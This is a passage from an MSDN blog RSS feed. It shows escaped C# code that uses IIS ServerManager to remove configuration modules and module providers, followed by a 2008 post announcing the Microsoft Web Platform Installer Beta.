&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// Removes the specified module from the Modules section by name      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;/summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;RemoveModule(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Configuration&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;appHostConfig&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.GetApplicationHostConfiguration()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;appHostConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;system.webServer/modules&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;FindByAttribute(modules,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;modules.Remove(module)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// Removes the specified UI Module by name      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;/summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;RemoveUIModuleProvider(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// First remove it from the sites      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Configuration&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.GetAdministrationConfiguration()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;modules&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;FindByAttribute(modules,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;modules.Remove(module)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// now remove the ModuleProvider      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvidersSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;moduleProviders&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProviders&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvidersSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProvider&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;FindByAttribute(moduleProviders,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(moduleProvider&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;moduleProviders.Remove(moduleProvider)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt; &lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9059143" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/SsyBrGJBj5E" height="1" width="1"/&gt;</description><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2008/11/10/CreatingSetupProjectForIISusingVisualStudio2008.aspx</feedburner:origLink></item><item><title>Microsoft Web Platform Installer Beta Released</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/X3_F0q_FTRE/WebPIBetaReleased.aspx</link><pubDate>Thu, 02 Oct 2008 14:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8974090</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/8974090.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=8974090</wfw:commentRss><description>&lt;P&gt;Today we are releasing a new Web Site at &lt;A title=http://www.microsoft.com/web/ href="http://www.microsoft.com/web/" mce_href="http://www.microsoft.com/web/"&gt;http://www.microsoft.com/web/&lt;/A&gt; where users can get a one stop shop for learning about the Microsoft Web Platform. This is part of a bigger effort to make it easier to get started with building and running Web Applications on Windows and IIS. &lt;/P&gt;
&lt;P&gt;As part of this a new tool called the &lt;STRONG&gt;Web Platform Installer&lt;/STRONG&gt; Beta is also being released to help you getting started installing and getting all the software that you need from a single place without having to hunt around for installers, links or anything else. Just launch the tool, choose the software and configuration you are interested and it takes care of validating and installing pre-requisites.&lt;/P&gt;
&lt;P&gt;This tool will let you easily setup your development machines for building Web Applications quite nicely, it will also help you discover new tools, applications, features and beta's as they are getting released from several sources including IIS, ASP.NET and Visual Web Developer and more as we continually make new software available through updates to the feed that the tool consumes.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Download page: &lt;A title=http://www.microsoft.com/web/channel/products/WebPlatformInstaller.aspx href="http://www.microsoft.com/web/channel/products/WebPlatformInstaller.aspx" mce_href="http://www.microsoft.com/web/channel/products/WebPlatformInstaller.aspx"&gt;http://www.microsoft.com/web/channel/products/WebPlatformInstaller.aspx&lt;/A&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Link to Run it: &lt;A title=http://go.microsoft.com/?linkid=9588072 href="http://go.microsoft.com/?linkid=9588072" mce_href="http://go.microsoft.com/?linkid=9588072"&gt;http://go.microsoft.com/?linkid=9588072&lt;/A&gt;&amp;nbsp;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;Here are a few snapshots of the tool:&lt;/P&gt;
&lt;P&gt;This is the start page where you can choose to install everything available or customize the installation (Your Choice).&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image.png" mce_href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image.png"&gt;&lt;IMG style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height=301 alt="WebPI Start Page" src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb.png" width=404 border=0 mce_src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;In this page you can customize the selection and browse around all the current list of products and check and uncheck any product you want to install.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_3.png" mce_href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_3.png"&gt;&lt;IMG style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height=301 alt=image src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb_3.png" width=404 border=0 mce_src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb_3.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;There are a couple of more pages, and finally the progress where the tool downloads any files required and install them, so that you can at once get the whole Web Platform installed easily.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_4.png" mce_href="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_4.png"&gt;&lt;IMG style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height=301 alt=image src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb_4.png" width=404 border=0 mce_src="http://www.carlosag.net/images/MicrosoftWebPlatformandtheWebPlatformIns_103F5/image_thumb_4.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;Some of the products and features that the Beta supports installing and configuring include:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;IIS (Ability to granularly configure each of the features of IIS)&lt;/LI&gt;
&lt;LI&gt;IIS Extensions (such as the Out-of-band releases that we have made available in &lt;A href="http://www.iis.net/" mce_href="http://www.iis.net"&gt;http://www.iis.net&lt;/A&gt; including &lt;STRONG&gt;Bit Rate Throttling, Web Playlist, Microsoft Web Deployment, FTP 7.0 Server, URL Rewrite, and more)&lt;/STRONG&gt;&lt;/LI&gt;
&lt;LI&gt;.NET Framework 3.5&lt;/LI&gt;
&lt;LI&gt;SQL Express 2008&lt;/LI&gt;
&lt;LI&gt;SQL Server Driver for PHP&lt;/LI&gt;
&lt;LI&gt;Visual Web Developer 2008 Express &lt;/LI&gt;
&lt;LI&gt;Windows Installer 4.5&lt;/LI&gt;
&lt;LI&gt;more&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;So as you can see everything you need to build Web Applications, from a Web Server (IIS), to a Development tool (Visual Web Developer) to a Database (SQL Server Express) and many more all for free.&lt;/P&gt;
